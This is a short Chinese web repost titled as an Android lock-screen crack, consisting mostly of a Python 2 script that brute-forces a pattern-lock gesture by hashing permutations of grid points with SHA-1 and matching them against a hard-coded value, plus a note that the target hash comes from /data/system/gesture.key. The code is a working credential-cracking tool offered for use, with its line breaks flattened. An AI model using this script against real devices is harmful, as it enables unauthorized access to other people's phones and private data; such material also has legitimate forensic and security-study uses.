android 锁屏破解

来源:互联网 发布:securecrt for mac 编辑:程序博客网 时间:2024/04/30 04:04
import hashlib,itertoolsdest="\x6d\x6b\xe9\xc4\xb3\x32\x1b\xd4\xec\xd4\x40\x96\x36\xc5\xb7\xb0\xe4\x16\xc0\x70"def drawpoint(items):    fig=". . .\n. . .\n. . .\n"    for i in items:        pos=(ord(i))*2        fig=fig[:pos]+'*'+fig[pos+1:]        print fig
found=0for p in xrange(4,10):    if found: break    for item in list(itertools.permutations(["\x00","\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08"],p)):        src="".join(item)        if hashlib.sha1(src).digest()==dest:            drawpoint(item)            found=1            break
其中dest为待破解值,来自/data/system/gesture.key
0 1
原创粉丝点击